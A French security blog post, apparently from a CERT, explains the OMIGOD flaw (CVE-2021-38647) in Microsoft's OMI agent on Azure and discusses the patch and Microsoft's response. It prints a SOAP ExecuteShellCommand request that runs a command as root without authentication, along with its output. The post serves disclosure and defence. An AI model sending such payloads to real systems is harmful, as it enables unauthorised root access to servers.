8 octobre 2021

CVE-2021-38647, ou la pire vulnérabilité jamais vue sur Azure

Introduction

Avec son Patch Tuesday de septembre, Microsoft a publié des mises à jour de sécurité pour corriger quatre vulnérabilités dans l’agent OMI (Open Management Infrastructure). La première (CVE-2021-38647) permet à un attaquant d’exécuter du code arbitraire à distance (RCE) et les trois autres (CVE-2021-38648, CVE-2021-38645 et CVE-2021-38649) permettent à un attaquant d’élever localement ses privilèges (LPE).

Qu’est-ce que l’Open Management Infrastructure ?

OMI est une solution open source qui permet aux utilisateurs de gérer des configurations dans des environnements linux locaux et distants, et de faire la collecte de statistiques. En raison de sa facilité d’utilisation, un agent OMI est automatiquement déployé sur les VM Azure dans le cadre du processus d’intégration des services. Ces services incluent notamment Azure Automation, Azure Automatic Update, Azure Operations Management Suite, Azure Log Analytics, Azure Configuration Management et Azure Diagnostics. Cette liste n’étant pas exhaustive.

L’agent OMI possède les privilèges « root » sur le système car ses tâches incluent notamment la collecte de statistiques et la synchronisation de paramètre de configuration. On peut généralement accéder à l’agent via Internet grâce à plusieurs ports HTTP (5986, 5985 ou 1270), selon les services activés.

Bien que très largement utilisé par Microsoft, il n’existe pas de documentation claire dans Azure sur le déploiement, la surveillance ou la mise à jour de l’agent OMI.

Explication de la CVE-2021-38647 (RCE)

L’agent OMI envoie au serveur OMI les messages de gestion de la configuration via le point de terminaison https://<serveur_ip>:5986/wsman. Normalement, un en-tête d’authentification est transmis avec le message et le serveur OMI s’assure que le client est bien autorisé à communiquer.

La vulnérabilité CVE-2021-38647 est particulièrement triviale : lorsqu’il n’y a pas d’en-tête d’authentification, le serveur OMI accepte automatiquement le message et exécute l’instruction avec les droits « root » !

En envoyant une charge utile SOAP « ExecuteShellCommand » au serveur sans spécifier d’en-tête d’authentification, celui-ci exécutera la commande en tant que « root » :

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
   ...
   <s:Body>
      <p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
         <p:command>id</p:command>
         <p:timeout>0</p:timeout>
      </p:ExecuteShellCommand_INPUT>
   </s:Body>
</s:Envelope>

Cette simple requête pour exécuter la commande id obtient la réponse suivante :

<SOAP-ENV:Body>
        <p:SCX_OperatingSystem_OUTPUT
            xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
            <p:ReturnValue>TRUE</p:ReturnValue>
            <p:ReturnCode>0</p:ReturnCode>
            <p:StdOut>uid=0(root) gid=0(root) groups=0(root)&#10;</p:StdOut>
            <p:StdErr></p:StdErr>
        </p:SCX_OperatingSystem_OUTPUT>
    </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Correction de la vulnérabilité

Dans ses recommandations de mises à jour, Microsoft a déclaré le 16 septembre que la vulnérabilité critique (CVE-2021-38647) n’affecte que les clients utilisant une solution de gestion Linux (On-Premises SCOM, Azure Automation State Configuration ou Azure Desired State Configuration extension) qui permet la gestion à distance de l’OMI.

Une analyse détaillée, effectuée par le directeur technique de Censys, a révélé que 101 entreprises dont une « grande organisation de santé et deux grandes entreprises de divertissement », étaient vulnérables.

Bien que la vulnérabilité provienne d’un logiciel open source maintenu par Microsoft et déployé discrètement sur son infrastructure Azure, Microsoft a mis la responsabilité sur les clients de « mettre à jour les extensions vulnérables pour leurs déploiements Cloud et On-Premises dès que les mises à jour sont disponibles », plutôt que de corriger les déploiements vulnérables lui-même.

Pire, plusieurs jours après la parution du correctif, les nouvelles VM créées sur Azure étaient toujours vulnérables. Aujourd’hui lors du déploiement d’une VM, celle-ci n’embarque plus la vulnérabilité OMIGOD.

La simplicité d’exploitation de cette vulnérabilité et son impact critique en font la pire vulnérabilité jamais vue sur l’environnement Azure.

8 octobre 2021 CERT

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *